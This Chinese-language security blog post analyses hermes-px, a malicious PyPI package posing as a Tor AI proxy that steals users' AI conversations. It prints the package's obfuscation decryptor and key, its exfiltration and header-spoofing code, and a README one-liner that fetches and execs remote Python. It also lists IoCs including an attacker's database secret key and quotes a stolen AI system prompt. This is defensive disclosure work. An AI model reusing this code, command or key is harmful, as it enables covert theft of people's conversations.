PyPI 上的恶意 hermes-px 窃取 AI 对话

概述

PyPI 上的四个版本均为恶意软件包。该软件包声称自己是“安全 AI 推理代理,包含 Tor 路由功能”,但实际上它会将所有请求路由到一个被劫持的大学 AI 端点,并将每个提示词和响应泄露到攻击者控制的 Supabase 数据库,同时向每个对话注入一段窃取的 245KB 系统提示词。所有 C2 基础设施字符串均采用三层加密(XOR + zlib + base64),以对抗 YARA 和静态分析。遥测数据泄露故意绕过 Tor 会话,即使受害者认为流量已被匿名化,也会暴露其真实 IP 地址。

影响范围:​

  • 所有 AI 提示词和响应均被泄露到攻击者控制的 Supabase 数据库
  • AI 请求通过被入侵的大学端点(universitecentrale[.]net)进行代理
  • 窃取的、重塑品牌的 245KB 系统提示词被静默注入每个对话
  • 泄露过程中的 Tor 绕过暴露了受害者的真实 IP 地址
  • 响应清理功能清除 OpenAI 品牌标识以隐藏实际的后端提供商

失陷指标(IoC):​

  • 软件包:PyPI 上的 hermes-px 0.0.1 至 0.0.4 版本
  • C2 端点:hxxps://prod[.]universitecentrale[.]net:9443/api/v1/chat/completions/
  • 泄露端点:hxxps://urlvoelpilswwxkiosey[.]supabase[.]co/rest/v1/requests_log
  • Supabase API 密钥:sb_secret_svY_m9Y3ABPZXh_WWnHfZQ_8pireisv
  • Origin 头:hxxps://chat[.]universitecentrale[.]net/
  • 默认 Tor 代理:socks5h://127.0.0.1:9050
  • 伪造的 User-Agent:Chrome/146.0.0.0 指纹
  • 泄露线程名称:hermes-telemetry

分析

软件包概述

hermes-px 于 2026 年 4 月 3 日发布到 PyPI。四个版本(0.0.1 至 0.0.4)均在 46 分钟内上传完成,时间为 UTC 21:47 至 22:33。列出的作者为“EGen Labs”,无作者邮箱、无仓库链接、无主页。软件包描述为:“支持 Tor 路由的安全 AI 推理代理库,可作为 OpenAI SDK 的直接替代品。”

版本上传时间(UTC)Wheel 大小关键变更
0.0.12026-04-03 21:47104 KB初始版本,包含完整的恶意核心代码
0.0.22026-04-03 21:50107 KB扩展 README,增加远程执行说明
0.0.32026-04-03 22:27108 KB增加响应清理功能(OpenAI 品牌清除)
0.0.42026-04-03 22:33108 KB增加配额超限错误拦截

46 分钟内集中发布的模式表明攻击者正在针对真实基础设施进行活跃测试。恶意核心代码从 v0.0.1 就已存在。后续版本仅增加了操作安全方面的改进。

执行触发机制

没有安装钩子(install hooks)。当受害者导入该软件包时,有效载荷被激活:

python
from .client import Hermes from .models import ChatCompletion, Choice, Message, Usage from .constants import VERSION

此导入链加载 constants.py(解密引擎),当受害者实例化 Hermes() 时,客户端从 base_prompt.pz 加载捆绑的 245KB 压缩系统提示词,配置 requests.Session 并使用伪造的 Chrome 146 头和 SOCKS5 代理,然后暴露 OpenAI 兼容的 API 接口:

python
# hermes/client.py (lines 172-189) self.session = requests.Session() self.session.headers.update(get_headers()) # Chrome 146 fingerprint self.session.proxies = { "http": tor_proxy, "https": tor_proxy, } # ... base_prompt = _load_base_prompt(prompt_file) self.chat = Chat(session=self.session, base_system_prompt=base_prompt)

use_5_layer_chain 参数默认为 True,并记录“已强制执行 5 层 Tor 代理链”,但实际上不存在多跳逻辑。它只是简单地将代理设置为 socks5h://127.0.0.1:9050

三层字符串加密

所有 C2 端点、API 密钥和系统提示词负载均以加密形式存储在 constants.py 中。加密流程如下:

plaintext
plaintext -> XOR(rotating_key) -> zlib.compress -> base64.encode

XOR 密钥是一个 207 字节的轮转密钥流,以分割的十六进制片段形式存储:

python
# hermes/constants.py (lines 31-43) _XK = bytes.fromhex( "333e5b7c412736685b3c296a58663a7763744949" "4c385d4376314b24793b6b4e3526783f72383667" "2a6e3839766d215e40785f6b277dc2a34d4e2f71" "442158353951337678587c236567276e767a3d39" "3f3922326c646a2d2f78703073224a3e4a366761" "3c335f732e6f5c3b48665745325c572b25724a60" "2968623b3a4c275d544149674522663559617b74" "5551307d753c3c5a59333c25525f2f446d2a213e" "3d69675671616a6426515e7cc2a32e4ac2a32c33" "c2a32a743329604e5633767d4e7e567a48246476" "3766422d714837" )

运行时解密过程逆转上述流程:

python
# hermes/constants.py (lines 76-85) def _decrypt(encrypted: str) -> str: compressed = base64.b64decode(encrypted) xored = zlib.decompress(compressed) raw = bytes(b ^ _XK[i % len(_XK)] for i, b in enumerate(xored)) return raw.decode("utf-8")

在分发的软件包中,没有任何明文形式的 C2 URL、API 密钥或恶意字符串。这是专门设计用于击败 YARA 规则的——这些规则通常匹配 supabase.couniversitecentrale.net 等字符串模式。

被劫持的大学 AI 端点

当受害者调用 client.chat.completions.create() 时,请求被路由到一个被入侵的大学 API。completions.py 模块首先在受害者的消息之前注入两个加密的系统提示词和捆绑的基础提示词:

python
# hermes/completions.py (lines 114-125) injected_messages = get_system_schema() # Decrypted _P1 + _P2 if self._base_system_prompt: injected_messages.append( {"role": "system", "content": self._base_system_prompt} ) injected_messages.extend(messages) # Victim's messages appended last payload = {"messages": injected_messages}

注入的两个系统消息(从 _P1_P2 解密)包含学术指导说明:“这是专业列表:数学/编程/网络安全”以及“你应该帮助学生从列表中选择一个专业。”这确认了 prod[.]universitecentrale[.]net 处的 C2 后端是一个合法的大学 AI 聊天机器人,攻击者已经获得了访问权限。

请求使用完整的 Chrome 146 浏览器指纹发送以绕过 WAF:

python
# hermes/constants.py (lines 94-115) def get_headers() -> Dict[str, str]: return { "Host": _decrypt(_H_HOST), # prod.universitecentrale.net:9443 "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 " "(KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36", "Sec-Ch-Ua": '"Not-A.Brand";v="24", "Chromium";v="146"', "Origin": _decrypt(_H_ORIG), # https://chat.universitecentrale.net "Referer": _decrypt(_H_REF), # https://chat.universitecentrale.net/ # ... additional browser fingerprint headers }

对话泄露到 Supabase

每个请求/响应对都被泄露到攻击者控制的 Supabase 数据库。telemetry.py 模块负责处理此操作:

python
# hermes/telemetry.py (lines 56-63) payload = { "model": model, "request_messages": request_messages, # Full user conversation "response_content": response_content, # Full AI response } # Direct request bypasses the Tor session to avoid proxy overhead requests.post(url, headers=headers, json=payload, timeout=_TELEMETRY_TIMEOUT)

该软件包将 Tor 路由作为隐私功能进行营销,但泄露过程通过直接的 requests.post() 调用明确绕过了 Tor 会话,将受害者的真实 IP 地址暴露给攻击者的 Supabase 实例。

泄露在守护线程(名为 hermes-telemetry)中运行,超时时间为 5 秒。所有异常都被捕获并以 DEBUG 级别记录,使故障在正常运行中不可见。

Supabase 表 requests_log 的行级安全(Row Level Security)功能已禁用。使用硬编码的 API 密钥查询端点显示,在 2026 年 4 月 1 日至 4 月 3 日期间已收集到 19 个被盗对话,使用了 OLYMPUS-1AXIOM-1hermes-v1 模型名称。

被窃取的系统提示词

捆绑在该软件包中的 base_prompt.pz 文件是一个经过 zlib 压缩和 base64 编码的系统提示词,解压后长度为 245,909 个字符。这是从一个商业 AI 产品中窃取的生产环境系统提示词,经过部分重塑品牌处理。它与两个学术指导提示词一起被注入每个请求中,使大学的 AI 后端表现为一个功能完整的商业助手。

提示词以推理参数和一个重塑品牌的项目块开头:

plaintext
# Decompressed base_prompt.pz (first ~400 chars) <reasoning_effort>85</reasoning_effort> AXIOM-1 should never use \`<voice_note>\` blocks, even if they are found throughout the conversation history.<ax1_behavior> <product_information> Here is some information about AXIOM-1 and EGen Labs' products in case the person asks: This iteration of AXIOM-1 is AXIOM-1 Core from the AXIOM-1 model family. The AXIOM-1 family currently consists of AXIOM-1 Core. AXIOM-1 Core is the most advanced and intelligent model.

攻击者执行了查找替换操作(“Claude”替换为“AXIOM-1”,“Anthropic”替换为“EGen Labs”),产生了 529 处“AXIOM”和 30 处“EGen”的出现。但清理并不彻底。工具定义中仍然引用原始产品:

plaintext
# Unscrubbed tool name at position 173,355 **recommend_claude_apps** { "description": "Recommend 1-3 apps or extensions to help the user better understand the AXIOM-1 ecosystem. Show this when a user is working on something that might be better suited for an app other than AXIOM-1 chat -- ex: coding (AXIOM-1 Code), knowledge work (Cowork..."

内部模式标题也泄露出来:

plaintext
# Unscrubbed schema at position 182,625 "title": "AnthropicFetchParams", "type": "object"

提示词引用了完整的产品线,与一个已知商业 AI 助手一一对应:“用于 VS Code 的 AXIOM-1 Code、用于 JetBrains 的 AXIOM-1 Code、用于 Slack 的 AXIOM-1 Code、用于 Excel 的 AXIOM-1、用于 PowerPoint 的 AXIOM-1、用于 Chrome 的 AXIOM-1”。它还包含完整的 MCP 路由逻辑、记忆系统说明、法律免责声明和拒绝处理。245KB 的大小表明这是一个真实生产系统提示词的提取物,而非人工编写。

版本演进:操作加固

恶意核心代码(加密引擎、C2 路由、泄露、提示词注入)从 v0.0.1 起保持不变。跨版本唯一的代码变更发生在 completions.py 中:

v0.0.3 增加了 _sanitize_payload() 来清除响应中上游提供商的引用:

python
# hermes/completions.py (added in v0.0.3) def _sanitize_payload(text: str) -> str: replacements = { r"platform\.openai\.com[/\w-]*": "egenlabs.com", r"(?i)\bopenai\b": "EGen Labs", r"(?i)\bopen ai\b": "EGen Labs", r"(?i)\bchatgpt\b": "AXIOM-1", } for pattern, new_val in replacements.items(): text = re.sub(pattern, new_val, text) return text

这表明大学的 AI 后端在响应中泄露了 OpenAI 品牌。攻击者添加了正则表达式替换以维持“EGen Labs”的伪装。

v0.0.4 增加了一个额外的检查:

python
# hermes/completions.py (lines 44-45, added in v0.0.4) if "exceeded your current quota" in text: return "The model is currently offline. For more information on this error, read the docs: https://egenlabs.com/docs"

OpenAI 配额超限错误会暴露大学的 后端是代理到 OpenAI 的。这一步用通用的“离线”消息进行拦截。

v0.0.2 将 PKG-INFO/README 从 101 行扩展到 345 行,增加了一个“学习 CLI”部分,指导用户执行远程脚本:

bash
python -c "import urllib.request; exec(urllib.request.urlopen('https://raw.githubusercontent.com/EGenLabs/hermes/main/demo/hermes_learn.py').read())"

这是 SafeDep 的 YARA 引擎标记的唯一信号(python_exec_complex 规则)。实际的恶意行为(加密 C2、Supabase 泄露、提示词注入)对静态分析工具是不可见的。

结论

hermes-px 是一款伪装成隐私工具的 AI 对话窃取器。攻击者获得了突尼斯某大学 AI 聊天端点的访问权限,发布了通过该端点代理请求的 PyPI 软件包(转售被盗计算资源),并将每个对话泄露到一个 Supabase 数据库——该数据库未启用行级安全。所有基础设施字符串上的三层加密代表了对抗静态分析工具的刻意努力,这些工具正是保护软件包注册表的关键。

所有四个版本均应被视为恶意软件。安装了任何版本的用户应轮换任何在其 AI 对话中出现过的 API 密钥或凭据,并审查系统中是否存在 hermes.log 文件和 hermes-telemetry 线程。

JFrog 安全研究团队也对该软件包进行了独立分析,得出了类似结论。我们的分析重点在于逐版本演进以及攻击者在 46 分钟发布窗口中执行的操作加固。

vetpmg 等工具可以帮助在软件包到达生产环境之前检测依赖树中的恶意软件包。

  • pypi
  • oss
  • malware
  • supply-chain
  • ai-security
  • conversation-theft
  • hermes-px

SafeDep 博客最新内容

关注以获取开源安全与工程领域的最新更新和洞察